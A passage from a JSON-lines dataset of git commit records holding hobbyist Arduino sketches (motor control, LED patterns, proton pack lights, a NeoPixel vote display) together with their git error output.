\");\n \tSerial.print(x);\n \tSerial.print(\" \/ y = \");\n \tSerial.print(y);\n \tSerial.print(\" \/ SETPOINT X = \");\n \tSerial.print(SETPOINT_X);\n \tSerial.print(\" \/ SETPOINT Y = \");\n \tSerial.print(SETPOINT_Y);\n\t\t\n\t\tSerial.println(\" \");\n }\n } \/\/ ENF OF PRODUCTION\n} \/\/ END OF LOOP\n\n\/\/ VOID FOR TAKE THE CURRENT\nint current(int Cpin)\n{\n int mVperAmp = 185; \/\/ use 100 for 20A Module and 66 for 30A Module\n int RawValue = 0;\n int ACSoffset = 2500;\n double Voltage = 0;\n double Amps = 0;\n\n RawValue = analogRead(Cpin);\n Voltage = (RawValue \/ 1024.0) * 5000; \/\/ Gets you mV\n Amps = ((Voltage - ACSoffset) \/ mVperAmp);\n\n return(Amps);\n}\n\n\/\/ VOID FOR TAKE THE BATTERY VOLTAGE\nint voltage(int Vpin)\n{\n float vout = 0.0;\n float vin = 0.0;\n float R1 = 100000.0; \/\/ resistance of R1 (100K) -see text!\n float R2 = 10000.0; \/\/ resistance of R2 (10K) - see text!\n int value = 0;\n\n value = analogRead(Vpin);\n vout = (value * 5.0) \/ 1024.0;\n vin = vout \/ (R2 \/ (R1 + R2));\n if (vin < 0.09) vin = 0.0;\n\n return(vin);\n}\n\n\n\n\/\/ LOGO\n\/*\nstatic const unsigned char PROGMEM logo16_glcd_bmp[] =\n{ B00000000, B11000000,\n B00000001, B11000000,\n B00000001, B11000000,\n B00000011, B11100000,\n B11110011, B11100000,\n B11111110, B11111000,\n B01111110, B11111111,\n B00110011, B10011111,\n B00011111, B11111100,\n B00001101, B01110000,\n B00011011, B10100000,\n B00111111, B11100000,\n B00111111, B11110000,\n B01111100, B11110000,\n B01110000, B01110000,\n B00000000, B00110000 };\n *\/\n \n \n static const unsigned char PROGMEM logo_16_[] =\n{ \nB00000001, B10000000,\nB00000010, B01000000,\nB00000100, B00011000,\nB00001000, B00000010,\nB00010000, B00000001,\nB01000000, B00000001,\nB00100000, B00011000,\nB00010000, B00000000,\nB00000100, B01000000,\nB00000001, B10000000,\n };\n \n \nvoid angleModulePortEvent()\n{\n while (Serial1.available())\n { \n returnBuffer[counter]=(unsigned char)Serial1.read();\n if(counter==0&&returnBuffer[0]!=0xAA) return; \/\/wait for start character\n counter++; \n if(counter==8) \n { \n counter=0; \n fullBuffer=1; \/\/mark buffer as full\n } \n }\n} \n\nvoid software_Reset() \/\/ Restarts program from beginning but does not reset the peripherals and registers\n{\n\tasm volatile (\" jmp 0\"); \n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/BB-UNIT\/OLD\/V3.2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e4fb3716977597f6363dc16e72d6d9f870a7bd93","subject":"backup","message":"backup\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5189a68c0250be1f1c1596dc5ea1ad59d8ede77b","subject":"Organized everything","message":"Organized everything\n","repos":"twann503\/411scooter","old_file":"BLDC_Step\/BLDC_Step.ino","new_file":"BLDC_Step\/BLDC_Step.ino","new_contents":"#define OFF 0\n#define SEN A2\n#include \"TimerOne.h\"\n\n\n\nvolatile int Speed = 170;\nint isReady = 0;\nint states = 7;\nint count = 0;\nvolatile int noSpeedCount = 0;\ndouble Time = 0;\nunsigned long startTime = 0;\nunsigned long endTime = 0;\nint prevState = 7;\nvolatile int rpm = 0.0;\n\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(22, INPUT_PULLUP); \/\/Yellow\n pinMode(24, INPUT_PULLUP); \/\/Green\n pinMode(26, INPUT_PULLUP); \/\/White\n \n pinMode(7, OUTPUT); \/\/MOSI Rp\n pinMode(6, OUTPUT); \/\/5 Bp\n pinMode(5, OUTPUT); \/\/4 Yn\n pinMode(4, OUTPUT); \/\/3 Rn\n pinMode(3, OUTPUT); \/\/2 Bn\n pinMode(2, OUTPUT); \/\/1 Yp\n\n pinMode(A2, INPUT); \/\/Throttle\n\n Timer1.initialize(50000);\n Timer1.attachInterrupt(defSpeed);\n startTime = millis();\n turnOff();\n}\n\nvoid defSpeed(){\n \/\/Speed = map(analogRead(SEN), 175, 869, 0, 200);\n Speed = 150;\n if(Speed < 0)\n Speed = 0;\n\n ++noSpeedCount;\n if(noSpeedCount >= 5){\n rpm = 0;\n noSpeedCount = 0;\n }\n \n}\n\nvoid loop() {\n states = ((digitalRead(22) << 2) + (digitalRead(24) << 1) + digitalRead(26));\n Serial.print(states);Serial.print('\\t');Serial.print(Speed);Serial.print('\\t');Serial.print(rpm);Serial.print('\\t');Serial.println(isReady);\n if(prevState != states){\n ++count;\n prevState = states;\n }\n\n if(count >= 45){\n endTime = millis();\n Time = endTime - startTime;\n Time = Time \/ 1000;\n rpm = 60\/Time;\n count = 0;\n startTime = millis();\n noSpeedCount = 0;\n }\n\n if(isReady > 0){\n switch (states) {\n \n case 1: \/\/GOOD to self\n analogWrite(5, OFF); \/\/BN\n analogWrite(4, OFF); \/\/YP\n analogWrite(7, OFF); \/\/YN\n analogWrite(3, OFF); \/\/RP\n analogWrite(6, Speed); \/\/RN\n analogWrite(2, Speed); \/\/BP\n break;\n\n case 2: \/\/GOOD to self\n analogWrite(6, OFF); \/\/RN\n analogWrite(7, OFF); \/\/YN\n analogWrite(4, OFF); \/\/BP\n analogWrite(3, OFF); \/\/RP\n analogWrite(5, Speed); \/\/BN\n analogWrite(2, Speed); \/\/YP\n break;\n\n case 3: \/\/GOOD to self\n analogWrite(7, OFF); \/\/YN\n analogWrite(4, OFF); \/\/BP\n analogWrite(3, OFF); \/\/RP\n analogWrite(5, OFF); \/\/BN\n analogWrite(6, Speed); \/\/RN\n analogWrite(2, Speed); \/\/YP\n break;\n \n case 4:\n analogWrite(6, OFF); \/\/RN\n analogWrite(7, OFF); \/\/YN\n analogWrite(2, OFF); \/\/YP\n analogWrite(4, OFF); \/\/BP\n analogWrite(5, Speed); \/\/BN\n analogWrite(3, Speed); \/\/RP\n\n\n break;\n\n case 5:\n analogWrite(6, OFF); \/\/RN\n analogWrite(7, OFF); \/\/YN\n analogWrite(4, OFF); \/\/BP\n analogWrite(3, OFF); \/\/RP\n analogWrite(5, Speed); \/\/BN\n analogWrite(2, Speed); \/\/YP\n break;\n\n case 6:\/\/good to self\n analogWrite(6, OFF); \/\/RN\n analogWrite(7, OFF); \/\/YN\n analogWrite(4, OFF); \/\/BP\n analogWrite(2, OFF); \/\/YP\n analogWrite(5, Speed); \/\/BN\n analogWrite(3, Speed); \/\/RP\n\n break;\n\n case 7: \n turnOff();\n break;\n }\n --isReady;\n }\n else{\n turnOff();\n }\n}\n\nvoid turnOff(){\n digitalWrite(2, LOW);\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n digitalWrite(5, LOW);\n digitalWrite(6, LOW);\n digitalWrite(7, LOW);\n}\n\nvoid serialEvent(){\n while(Serial.available()) {\n char inChar = (char)Serial.read(); \n if(inChar == ' '){\n isReady = 5;\n Serial.println(\"Going \");\n return;\n }\n }\n return;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BLDC_Step\/BLDC_Step.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"daf0d4d439b6d880344ffff6beaa35f5c85cfc30","subject":"Manejo del puerto serie","message":"Manejo del puerto serie","repos":"MrChunckuee\/STELLARIS-ENERGIA_Examples,MrChunckuee\/STELLARIS-ENERGIA_Examples","old_file":"LM4F_E003\/LM4F_E003.ino","new_file":"LM4F_E003\/LM4F_E003.ino","new_contents":"\/*******************************************************************************\n *\n * Manejo del puerto serie\n *\n *******************************************************************************\n * FileName: LM4F_E002\n * Processor: EX-LM4F120XL\n * Complier: Energia 0101e0017\n * Author: Pedro S\u00e1nchez (MrChunckuee)\n * Blog: http:\/\/mrchunckuee.blogspot.com\/\n * Email: mrchunckuee.psr@gmail.com\n * Description: Este ejemplo basico para el manejo del puerto serial\n *******************************************************************************\n * Rev. Date Comment\n * v1.00 14\/10\/2016 Creaci\u00f3n del firmware\n ******************************************************************************\/\n\nunsigned char inputByte = 0; \/\/ incoming serial byte\n\nvoid setup(){\n\/\/ start serial port at 9600 bps\n Serial.begin(9600);\n pinMode(RED_LED, OUTPUT);\n pinMode(BLUE_LED, OUTPUT);\n pinMode(GREEN_LED, OUTPUT);\n}\n\nvoid loop(){\n if (Serial.available() > 0) {\n inputByte = Serial.read(); \/\/ get incoming byte\n switch(inputByte){\n case 'a':\n digitalWrite(RED_LED,HIGH); \n Serial.print(\"LED Rojo encendido\\n\");\n break;\n case 'b':\n digitalWrite(RED_LED,LOW); \n Serial.print(\"LED Rojo apagado\");\n break;\n case 'c':\n digitalWrite(GREEN_LED,HIGH); \n Serial.print(\"LED Verde encendido\");\n break;\n case 'd':\n digitalWrite(GREEN_LED,LOW);\n Serial.print(\"LED Verde apagado\"); \n break;\n case 'e':\n digitalWrite(BLUE_LED,HIGH); \n Serial.print(\"LED Azul encendido\");\n break;\n case 'f':\n digitalWrite(BLUE_LED,LOW); \n Serial.print(\"LED Azul apagado\");\n break;\n case 'g':\n digitalWrite(RED_LED,LOW); \n digitalWrite(GREEN_LED,LOW); \n digitalWrite(BLUE_LED,LOW); \n Serial.print(\"LEDs apagados\");\n break;\n default:\n digitalWrite(RED_LED,LOW); \n digitalWrite(GREEN_LED,LOW); \n digitalWrite(BLUE_LED,LOW); \n break;\n } \n }\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LM4F_E003\/LM4F_E003.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5af2611d30ae4505aad415a9a1533baa72f2efc","subject":"added encoder test","message":"added encoder test\n","repos":"mutac\/art,mutac\/art","old_file":"projects\/musicbox\/MusicBox.ino","new_file":"projects\/musicbox\/MusicBox.ino","new_contents":"\nconst int kDelayMs = 500;\nconst int kValueTableSize = 14 * 2;\nuint16_t sValueTable[kValueTableSize];\n\nvoid setup()\n{\n Serial.begin(9600);\n \n for (int idx = 0; idx < kValueTableSize; idx++)\n {\n unsigned int shift = idx % (sizeof(int) * 8);\n sValueTable[idx] = 1 << shift;\n }\n}\n\nvoid loop()\n{\n static int sTableIdx = 0;\n \n Serial.write(highByte(sValueTable[sTableIdx]));\n Serial.write(lowByte(sValueTable[sTableIdx]));\n delay(kDelayMs);\n \n sTableIdx = (sTableIdx + 1) % kValueTableSize;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/musicbox\/MusicBox.ino' did not match any file(s) known to git\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"ef65c16b55dd89a8ed212549cdd7e9c362494b93","subject":"Add files via upload","message":"Add files via upload\n\nImprovements made to state machine logic.","repos":"martinux\/proton_pack_arduino","old_file":"proton_pack_buttons_1.0.ino","new_file":"proton_pack_buttons_1.0.ino","new_contents":"\/\/ Proton pack lights code.\n\n\/\/ ===============================================================================================\n\/\/ STATE MACHINE\n\/\/ ===============================================================================================\nint current_state = 0;\nint previous_state = 0;\n\n\/\/ ===============================================================================================\n\/\/ TIMEKEEPING\n\/\/ ===============================================================================================\nunsigned long currentMillis = 0;\nunsigned long previousMillis_on = 0;\nunsigned long previousMillis_fire = 0;\nunsigned long off_interval = 30;\nunsigned long pwrcl_interval = 70; \/\/ interval at which to cycle lights (milliseconds).\nunsigned long firing_interval = 60; \/\/ interval at which to cycle firing lights (milliseconds).\nunsigned long max_firing_interval = 50;\nunsigned long min_firing_interval = 30;\nunsigned long overheat_interval = 200;\nint overheat_cycles = 7;\nint overheat_counter = overheat_cycles;\n\n\/\/ ===============================================================================================\n\/\/ BUTTONS\n\/\/ ===============================================================================================\n#define DEBOUNCE 5 \/\/ button debouncing.\n\/\/ Pins 14, 15 and 16 are Analog 0, 1 and 2 respectively.\nint power_button = 14;\nint firing_button = 15;\nint music_button = 16; \/\/ Currently held in reserve for use with Adafruit audio shield.\nint power_button_state;\nint firing_button_state;\nint music_button_state;\n\n\/\/ ===============================================================================================\n\/\/ SHIFT REGISTERS\n\/\/ ===============================================================================================\nint latchPin = 8;\nint clockPinPWR = 6; \/\/ Power cell\nint clockPinGUN = 18; \/\/ Gun (18 is analog pin 4 on arduino)\n\/\/\/\/Pin connected to DS of 74HC595 (pin 14)\nint dataPinPWR = 7; \/\/ Power cell\nint dataPinGUN = 19; \/\/ Gun (19 is analog pin 5 on arduino)\n\n\/\/holders for information we're going to pass to shifting function\nbyte dataPWRCL1;\nbyte dataPWRCL2;\nbyte dataGUN1;\nbyte dataGUN2;\nbyte dataGUNON1;\nbyte dataGUNON2;\n\/\/ data arrays\nbyte PWRCL1[15];\nbyte PWRCL2[15];\nbyte GUN1[26];\nbyte GUN2[26];\nbyte GUNON1[15];\nbyte GUNON2[15];\nbyte OHPWRCL1[2];\nbyte OHPWRCL2[2];\nbyte OHGUN1[2];\nbyte OHGUN2[2];\n\/\/ track array position\nint power_cell_array_pos = 0;\nint gun_array_pos = 0;\nint gunactive_array_pos = 0;\nint overheat_array_pos = 0;\n\n\nint freeRam(void) {\n extern int __bss_end;\n extern int *__brkval;\n int free_memory;\n if((int)__brkval == 0) {\n free_memory = ((int)&free_memory) - ((int)&__bss_end); \n }\n else {\n free_memory = ((int)&free_memory) - ((int)__brkval); \n }\n return free_memory; \n}\n\n\nvoid setup() {\n \/\/ set up serial port\n Serial.begin(9600);\n Serial.print(\"Free RAM: \");\n Serial.println(freeRam()); \/\/ if this is under 150 bytes it may spell trouble!\n\n \/\/ Make input & enable pull-up resistors on switch pins\n Serial.println(\"Pull ups on switches\");\n digitalWrite(power_button, HIGH);\n digitalWrite(firing_button, HIGH);\n digitalWrite(music_button, HIGH);\n\n \/\/ Populate light pattern arrays\n Serial.println(\"Populating light arrays\");\n \/\/ power cell LEDs 0 through 7 then LEDs 8 through 15 (two shift registers)\n PWRCL1[0] = B10000000; PWRCL2[0] = B00000000; \/\/10000000 00000000\n PWRCL1[1] = B11000000; PWRCL2[1] = B00000000; \/\/11000000 00000000\n PWRCL1[2] = B11100000; PWRCL2[2] = B00000000; \/\/11100000 00000000\n PWRCL1[3] = B11110000; PWRCL2[3] = B00000000; \/\/11110000 00000000\n PWRCL1[4] = B11111000; PWRCL2[4] = B00000000; \/\/11111000 00000000\n PWRCL1[5] = B11111100; PWRCL2[5] = B00000000; \/\/11111100 00000000\n PWRCL1[6] = B11111110; PWRCL2[6] = B00000000; \/\/11111110 00000000\n PWRCL1[7] = B11111111; PWRCL2[7] = B00000000; \/\/11111111 00000000\n PWRCL1[8] = B11111111; PWRCL2[8] = B10000000; \/\/11111111 10000000\n PWRCL1[9] = B11111111; PWRCL2[9] = B11000000; \/\/11111111 11000000\n PWRCL1[10] = B11111111; PWRCL2[10] = B11100000; \/\/11111111 11100000\n PWRCL1[11] = B11111111; PWRCL2[11] = B11110000; \/\/11111111 11110000\n PWRCL1[12] = B11111111; PWRCL2[12] = B11111000; \/\/11111111 11111000\n PWRCL1[13] = B11111111; PWRCL2[13] = B11111100; \/\/11111111 11111100\n PWRCL1[14] = B11111111; PWRCL2[14] = B11111110; \/\/11111111 11111110\n \n \/\/Proton wand idle pattern - two shift registers\n GUN1[0] = B01000000; GUN2[0] = B00000000; \/\/01000000 00000000\n GUN1[1] = B01000000; GUN2[1] = B00000000; \/\/01000000 00000000\n GUN1[2] = B01100000; GUN2[2] = B00000000; \/\/01100000 00000000\n GUN1[3] = B01110000; GUN2[3] = B00000000; \/\/01110000 00000000\n GUN1[4] = B01111000; GUN2[4] = B00000000; \/\/01111000 00000000\n GUN1[5] = B01111100; GUN2[5] = B00000000; \/\/01111100 00000000\n GUN1[6] = B01111110; GUN2[6] = B00000000; \/\/01111110 00000000\n GUN1[7] = B01111111; GUN2[7] = B10000000; \/\/01111111 10000000\n GUN1[8] = B01111111; GUN2[8] = B11000000; \/\/01111111 11000000\n GUN1[9] = B01111111; GUN2[9] = B11100000; \/\/01111111 11100000\n GUN1[10] = B01111111; GUN2[10] = B11110000; \/\/01111111 11110000\n GUN1[11] = B01111111; GUN2[11] = B11111000; \/\/01111111 11111000\n GUN1[12] = B01111111; GUN2[12] = B11111100; \/\/01111111 11111100\n GUN1[13] = B01111111; GUN2[13] = B11111110; \/\/01111111 11111110\n GUN1[14] = B01111111; GUN2[14] = B11111100; \/\/01111111 11111100\n GUN1[15] = B01111111; GUN2[15] = B11111000; \/\/01111111 11111000\n GUN1[16] = B01111111; GUN2[16] = B11110000; \/\/01111111 11110000\n GUN1[17] = B01111111; GUN2[17] = B11100000; \/\/01111111 11100000\n GUN1[18] = B01111111; GUN2[18] = B11000000; \/\/01111111 11000000\n GUN1[19] = B01111111; GUN2[19] = B10000000; \/\/01111111 10000000\n GUN1[20] = B01111111; GUN2[20] = B00000000; \/\/01111111 00000000\n GUN1[21] = B01111110; GUN2[21] = B00000000; \/\/01111110 00000000\n GUN1[22] = B01111100; GUN2[22] = B00000000; \/\/01111100 00000000\n GUN1[23] = B01111000; GUN2[23] = B00000000; \/\/01111000 00000000\n GUN1[24] = B01110000; GUN2[24] = B00000000; \/\/01110000 00000000\n GUN1[25] = B01100000; GUN2[25] = B00000000; \/\/01100000 00000000\n GUN1[26] = B01000000; GUN2[26] = B00000000; \/\/01000000 00000000\n \n \/\/ Proton wand firing pattern - two shift registers\n \/\/ 10000000 and 00000001 used for GUN strobe\n GUNON1[0] = B11000000; GUNON2[0] = B00000010; \/\/1|1000000 0000001|0\n GUNON1[1] = B00100000; GUNON2[1] = B00000101; \/\/0|0100000 0000010|1\n GUNON1[2] = B00010000; GUNON2[2] = B00001000; \/\/1|0010000 0000100|0\n GUNON1[3] = B10001000; GUNON2[3] = B00010001; \/\/0|0001000 0001000|1\n GUNON1[4] = B00000100; GUNON2[4] = B00100000; \/\/1|0000100 0010000|0\n GUNON1[5] = B00000010; GUNON2[5] = B01000001; \/\/0|0000010 0100000|1\n GUNON1[6] = B10000001; GUNON2[6] = B10000000; \/\/1|0000001 1000000|0\n GUNON1[7] = B00000001; GUNON2[7] = B10000001; \/\/0|0000001 1000000|1\n GUNON1[8] = B00000001; GUNON2[8] = B10000000; \/\/1|0000001 1000000|0\n GUNON1[9] = B10000010; GUNON2[9] = B01000001; \/\/0|0000010 0100000|1\n GUNON1[10] = B00000100; GUNON2[10] = B00100000; \/\/1|0000100 0010000|0\n GUNON1[11] = B00001000; GUNON2[11] = B00010001; \/\/0|0001000 0001000|1\n GUNON1[12] = B10010000; GUNON2[12] = B00001000; \/\/1|0010000 0000100|0\n GUNON1[13] = B00100000; GUNON2[13] = B00000101; \/\/0|0100000 0000010|1\n GUNON1[14] = B01000000; GUNON2[14] = B00000010; \/\/1|1000000 0000001|0\n\n \/\/ Overheat patterns\n OHPWRCL1[0] = B00000000; OHPWRCL2[0] = B00000000;\n OHPWRCL1[1] = B11111111; OHPWRCL2[1] = B11111111;\n OHGUN1[0] = B00000000; OHGUN2[0] = B00000000;\n OHGUN1[1] = B01111111; OHGUN2[1] = B11111110;\n\n \/\/ Set pins for shift registers:\n pinMode(latchPin, OUTPUT); \/\/ shared between power cell and thrower\n pinMode(clockPinPWR, OUTPUT);\n pinMode(clockPinGUN, OUTPUT);\n pinMode(dataPinPWR, OUTPUT);\n pinMode(dataPinGUN, OUTPUT);\n \/\/ Initialise Power cell and gun lights\n Serial.println(\"Initialising lights.\");\n digitalWrite(latchPin, 0);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinGUN, clockPinGUN, 0x40);\n shiftOut(dataPinGUN, clockPinGUN, 0x00);\n digitalWrite(latchPin, 1);\n\n}\n\n\nvoid loop() {\n pack_state();\n if (previous_state != current_state) {\n Serial.print(\"STATE: \");\n Serial.println(current_state);\n }\n}\n\n\nvoid pack_state() {\n previous_state = current_state;\n switch (current_state) {\n case 0: \/\/ reset\n current_state = 1;\n pwrcl_interval = 70;\n firing_interval = max_firing_interval;\n overheat_counter = overheat_cycles;\n break;\n \n case 1: \/\/ Start\n power_button_state = digitalRead(power_button);\n if (power_button_state == LOW) {\n current_state = 2;\n }\n else {\n current_state = 0;\n }\n break;\n \n case 2: \/\/ Powered on\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n if (power_button_state == HIGH) {\n current_state = 3;\n }\n if (firing_button_state == LOW) {\n current_state = 4;\n }\n powered_on();\n break;\n\n case 3: \/\/ Power down\n Serial.print(\"array positions: \");\n Serial.print(power_cell_array_pos);\n Serial.print(\" : \");\n Serial.println(gun_array_pos);\n powered_down();\n break;\n\n case 4: \/\/ Firing\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n \/\/Serial.print(\"Button states [power|firing]: \"); \n \/\/Serial.print(power_button_state); Serial.print(\"|\"); Serial.println(firing_button_state);\n if ((power_button_state == HIGH) && (firing_button_state == LOW)) {\n current_state = 3;\n }\n if (firing_button_state == HIGH) {\n current_state = 0;\n }\n firing();\n break;\n\n case 5: \/\/ Overheat\n overheat();\n break;\n\n case 6: \/\/ Overheat lockout\n firing_button_state = digitalRead(firing_button);\n if (firing_button_state == HIGH) {\n current_state = 0;\n }\n break;\n }\n}\n\n\nvoid powered_on() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > pwrcl_interval) {\n previousMillis_on = currentMillis;\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUN1 = GUN1[gun_array_pos];\n dataGUN2 = GUN2[gun_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register output data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 14) {\n power_cell_array_pos = 0;\n }\n gun_array_pos++;\n if (gun_array_pos > 25) {\n gun_array_pos = 0;\n }\n }\n}\n\n\nvoid powered_down() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > off_interval) {\n previousMillis_on = currentMillis;\n if (gun_array_pos != power_cell_array_pos) {\n gun_array_pos = power_cell_array_pos;\n }\n \/\/ Load the light sequence from arrays\n Serial.print(\"PWR array: \"); Serial.print(power_cell_array_pos);\n Serial.print(\" GUN array: \"); Serial.println(gun_array_pos);\n \n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUN1 = GUN1[gun_array_pos];\n dataGUN2 = GUN2[gun_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos--;\n if (power_cell_array_pos < 0) {\n power_cell_array_pos = 0;\n current_state = 0;\n }\n gun_array_pos--;\n if (gun_array_pos < 0) {\n gun_array_pos = 0;\n current_state = 0;\n }\n }\n}\n\n\nvoid firing() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > firing_interval) {\n previousMillis_on = currentMillis;\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUNON1 = GUNON1[gunactive_array_pos];\n dataGUNON2 = GUNON2[gunactive_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUNON1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUNON2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 14) {\n firing_interval--;\n power_cell_array_pos = 0;\n }\n gunactive_array_pos++;\n if (gunactive_array_pos > 14) {\n gunactive_array_pos = 0;\n }\n Serial.print(\"firing intervals: \");\n Serial.print(firing_interval); Serial.print(\" | \"); Serial.println(min_firing_interval);\n if (firing_interval < min_firing_interval) {\n current_state = 5;\n }\n }\n}\n\n\nvoid overheat() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > overheat_interval) {\n previousMillis_on = currentMillis;\n overheat_array_pos = 1 - overheat_array_pos;\n Serial.print(\"Overheat array pos: \"); Serial.println(overheat_array_pos);\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = OHPWRCL1[overheat_array_pos];\n dataPWRCL2 = OHPWRCL2[overheat_array_pos];\n dataGUN1 = OHGUN1[overheat_array_pos];\n dataGUN2 = OHGUN2[overheat_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n\n overheat_counter--;\n if (overheat_counter < 0) {\n current_state = 6;\n }\n }\n \n}\n\n\nvoid shiftOut(int myDataPin, int myClockPin, byte myDataOut) {\n \/\/ This shifts 8 bits out MSB first, \n \/\/ on the rising edge of the clock,\n \/\/ clock idles low\n\n \/\/ internal function setup\n int i = 0;\n int pinState;\n pinMode(myClockPin, OUTPUT);\n pinMode(myDataPin, OUTPUT);\n\n \/\/clear everything out just in case to\n \/\/prepare shift register for bit shifting\n digitalWrite(myDataPin, 0);\n digitalWrite(myClockPin, 0);\n\n \/\/for each bit in the byte myDataOut?\n \/\/NOTICE THAT WE ARE COUNTING DOWN in our for loop\n \/\/This means that %00000001 or \"1\" will go through such\n \/\/that it will be pin Q0 that lights. \n for (i = 7; i >= 0; i--) {\n digitalWrite(myClockPin, 0);\n \n \/\/if the value passed to myDataOut and a bitmask result \n \/\/ true then... so if we are at i=6 and our value is\n \/\/ %11010100 it would the code compares it to %01000000 \n \/\/ and proceeds to set pinState to 1.\n if ( myDataOut & (1 << i) ) {\n pinState = 1;\n }\n else {\n pinState = 0;\n }\n \n \/\/Sets the pin to HIGH or LOW depending on pinState\n digitalWrite(myDataPin, pinState);\n \/\/register shifts bits on upstroke of clock pin\n digitalWrite(myClockPin, 1);\n \/\/zero the data pin after shift to prevent bleed through\n digitalWrite(myDataPin, 0);\n }\n \/\/stop shifting\n digitalWrite(myClockPin, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proton_pack_buttons_1.0.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"b9e83b8733d2058a911d076ba7a98d9e4882c9eb","subject":"Add working code for the arduino uno","message":"Add working code for the arduino uno\n","repos":"mentlsve\/ta-conf-codejam,mentlsve\/ta-conf-codejam","old_file":"arduino\/VoteVisualizer.ino","new_file":"arduino\/VoteVisualizer.ino","new_contents":"\/\/ VoteVisualization \n\/\/\n\/\/ Author: sven.mentl@gmail.com \n\/\/ Released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n\n#include <Adafruit_NeoPixel.h>\n#include <avr\/power.h>\n\n\/\/ Digital I\/O Pin connected to Data In of the NeoPixel Ring \n#define PIN 13\n\n\/\/ Number of NeoPixels\n#define NUMPIXELS 24\n\n\/\/ Configuration of NeoPixels\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ Constants \nconst uint32_t RED = pixels.Color(255, 0, 0);\nconst uint32_t GREEN = pixels.Color(0, 255, 0);\nconst uint32_t BLUE = pixels.Color(0, 0, 255);\nconst uint32_t OFF = pixels.Color(0, 0, 0);\nconst int START_SEQUENCE_BLINK_DELAY = 200;\n\nvoid setup() {\n\n \/\/ Setup the serial connection\n Serial.begin(9600); \n \n \/\/ Initialize the NeoPixel library\n pixels.begin(); \n \n \/\/ Display the start sequence to show that the right code is loaded and that the arduino is ready to be used\n startSequence();\n}\n\nvoid loop() {\n \n \/\/ Blocking call\n if (Serial.available() > 0) {\n \n \/\/ A value between 0 and 1 is expected on the serial line. \n \/\/ The value expresses the ratio of positive votes in relation to all votes.\n float ratio = Serial.parseFloat();\n if(ratio < 0 || ratio > 1) return;\n \n int numberOfGreens = (ratio * 24)+0.5;\n lightFirstXInGreenRestInRed(numberOfGreens);\n }\n}\n\nvoid lightFirstXInGreenRestInRed(int numberOfGreens){\n\n for(int i=0; i<numberOfGreens; i++){\n pixels.setPixelColor(i, GREEN); \n } \n for(int i=0+numberOfGreens; i<NUMPIXELS; i++){\n pixels.setPixelColor(i, RED); \n }\n pixels.show(); \n}\n\nvoid startSequence(){\n 